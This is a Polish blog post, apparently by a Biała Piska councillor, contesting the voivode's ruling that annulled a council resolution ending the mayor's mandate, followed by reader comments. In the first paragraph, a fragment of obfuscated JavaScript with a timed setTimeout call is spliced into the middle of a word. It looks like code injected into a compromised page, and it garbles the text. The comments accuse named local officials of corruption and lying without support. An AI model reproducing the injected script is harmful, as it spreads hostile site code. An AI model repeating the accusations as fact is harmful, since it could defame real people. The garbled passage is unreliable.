Rozstrzygnięcie nadzorcze, które budzi sprzeciw.

Wczoraj odbyła się publikacja rozstrzygnięcia nadzorczego wojewody warmińsko-mazurskiego, które uchyla, przyjętą przez Radę Miejską w Białej Piskiej uchwałę o wygaśnięciu mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andatu burmistrz Sokołowskiej. Wojewoda zarzucił Radzie istotne naruszenie prawa w uchwaleniu tej uchwały, gdyż starostwo nie jest organem administracji rządowej. Rozstrzygnięcie budzi sprzeciw z jednego tylko powodu. Dlaczego wojewoda zarzuca nam istotne naruszenie prawa, skoro w piśmie skierowanym do Rady sam zobowiązał nas do zajęcia stanowiska w tej sprawie?

Pismo od wojewody

ustawowy zakaz _aczenia funkcji-2

Jak widać w załączonym piśmie, jego ostatni akapit jest zapytaniem do Rady czy sprawa burmistrz Sokołowskiej była przedmiotem rozpatrywania przez Radę Miejską w Białej Piskiej, a jeżeli nie była rozpatrywana to prosi o jej rozpatrzenie i poinformowanie o zajętym stanowisku. Skoro wojewoda prosi o zajęcie stanowiska to Rada je zajęła, ale skoro wojewoda wie, że Starostwo nie jest organem administracji rządowej, to po co prosi Radę o zajęcie stanowiska w tej sprawie? Po to, żeby zarzucić potem Radzie istotne naruszenie prawa? Po co wojewoda w ogóle kierował to pismo do Rady? Przecież skoro wiedział, jak wygląda sprawa z zatrudnieniem burmistrz Sokołowskiej, to mógł odpisać osobie zgłaszającej, że ta sprawa nie kwalifikuje się do rozpatrzenia ze względu na to, że starostwo nie jest organem administracji rządowej. Druga sprawa, skoro starostwo nie jest organem administracji rządowej, to dlaczego wojewoda kontrolował burmistrz Sokołowską jako jedną z 4 osób ze starostwa z realizacji zadań administracji rządowej? Zapomniał wtedy, że starostwo nią nie jest?

Nie bardzo też wiem o co ten wczorajszy rajd po mediach z uchyloną uchwałą i szukanie winowajców. W tekście pt. Ręce opadają, z 21 lutego br. sam przecież napisałem, że wojewoda może uchylić tą uchwałę, albo on, albo sąd. Tak się też stało i przyjmujemy to do wiadomości. To nie znaczy, że to kończy bieg sprawy. Zamierzamy zaskarżyć to rozstrzygnięcie do WSA, bo co najmniej dziwne wydaje nam się postępowanie wojewody, który sam zobowiązuje nas do podjęcia decyzji a potem zarzuca nam istotne naruszenie prawa. To jest głosowanie i tak zagłosowali Radni. Gdyby nie pismo od wojewody tego głosowania by nie było. Zobaczymy co powie sąd. Chyba, że Andrzej już wie.

 

3.6 9 votes
Article Rating
Subscribe
Powiadom o
guest
13 komentarzy
najstarszy
najnowszy oceniany
Inline Feedbacks
View all comments
Sitwa

Co mnie obchodzi rozstrzygnięcie jakiegoś Wojewody. I tak wiem i widzę jak też inni mieszkańcy widzą że nic się nie robi od ponad 2 lat dobrego w tej gminie. Teraz widzę na stronie Urzędu konkurs na dyrektora szkoły w Skarzynie. Przecież wiadomo dziś kto wygra. Nie za darmo Walduś biega przy referendum. I to jest prawda tej władzy. Układy i wałki. Tylko stołków pilnują bo to najważniejsze. Nie pogonił jej wojewoda to ją ludzie niebawem pogonią. Niech idzie precz!

Djkaao

Beata tam darmo z paczkami nie jeździła ….
Niech sad się zajmie tymi machlojkami

Xibi

Pańcia na stronie urzędu już płacze radni nie chcą współpracowac , wina posła że gmina nie otrzymuje dotacji a może z pańcio jest coś nie tak. Daleko nie szukać Prostki otrzymały 2,5 mln zł dotacji z Covid ,na drogi również dostali 4 mln zl , a u nas ile pozyskała specjalistka ? Otóż nic Zero , zero i jeszcze jedno zero

Gutek

Jak się zwalnia dobrego pracownika to tak wygląda że nie ma komu pisać wniosków. Poprzedni pracownik z naszego urzedu pracuje w prostkach i tam pozyskuje kase.

Dddddd

Nawet jeśli przegracie odwołanie to wy radni możecie spać spokojnie milonowych długów nie macie. W piramidzie nie braliście udziału. Wszystko mija przemija a raty ogromne trzeba spłacać i wyrok na karku zostanie. Ģłowa do góry.

Hipo

Referendowcy robią z nas debili. Pokazują jak to uchwała dobra wspólnego interesują sie media.
Drodzy państwo nie interesują się a po prostu dostają gotowe materiały.
Gazeta piska- od martusi
Radio 5 od profesora bo pracuje tam jego student No i czekamy tylko na TVP Olsztyn zaprzyjaźniony z ełckim radnym któremu Beata wchodzi w d…

Lalagaba

Zobaczymy co sad na to, bo wyroki były zdecydowanie inne…

rajca drajce
dziennikarz

Sprawą zainteresowały się media ogólnopolskie a wstyd naszej gminie jaki przyniósł ówczsny burmistrz oraz podległa ( czy też uległa ) jemu pracownica, do dzisiaj rozchodzi sie szeroim echem.
https://olsztyn.tvp.pl/10710772/droga-do-burmistrza

”jest niewinny, a dokumenty sfałszował ktoś inny, posługując się jego podpisem” Tak w 2013 roku wypowiadał się w mediach główny GURU i doradca naszej obecnej Burmistrz.Jakimi wyrokami się skonczyło,wszyscy wiemy. NIE OSZUSTOM i KŁAMCOM !

Krystyna

Tak się zastanawiam, jeżeli przewodniczący i radni z dobra wspólnego nie mieli racji i uchwała została uchylona ponieważ podjęta została z rażącym naruszeniem prawa to po co teraz tyle krzyku, że radni z dobra wspólnego chcą zaskarżyć decyzje wojewody do NS A . Dla burmistrz jeszcze jeden powód aby wykazać jak ogromna ma wiedzę ( a może co innego) i trochę strach obleciał bo znajomych w NSA brakuje. Choć prawdę powiedziawszy w dzisiejszej Polsce jest takie bezprawie i anarchia, że wszystko jest możliwe (np wyrok Durczoka albo matka, która musi oddać dziecko ojcu chociaż jest on poszukiwany listem gończym i nawet dziecko nie pamięta ojca. ) więc wcale bym się nie zdziwiła wyrokiem ale zobaczymy. Tak naprawdę to szkoda naszej gminy. Ale tak wybrała większość i prawdopodobnie do 2023 roku nic się nie zmieni.… Czytaj więcej »

Hipo

https://interwencja.polsatnews.pl/reportaz/2020-06-29/strazak-podpalacz-naczelnikiem-osp-wychodza-kolejne-skandale/
Pani burmistrz to tutaj media ogólnopolskie niezależne pięknie panią podsumowały.

Piotr

Uwaga uwaga .
Odkupie wszystkie banery z napisem „ nie Ide na referendum „ od klakierów którzy namawiali do niepójście na poprzednie referendum w gminie biala piska. (Celowo z małej litery bo nasza gmina jest tak teraz postrzegana )!
Proszę państwa tutaj jest jasno pokazane jak nasza demokracja jest wykorzystywana przez rządzących ta gmina , raz im pasuje a raz nie .

Drygalska młodzież

Nie zapomnimy kto nam zamknął kaplice i utrudnił pożegnanie z kolegami podczas ostatniej drogi pani radna

13
0
Would love your thoughts, please comment.x
()
x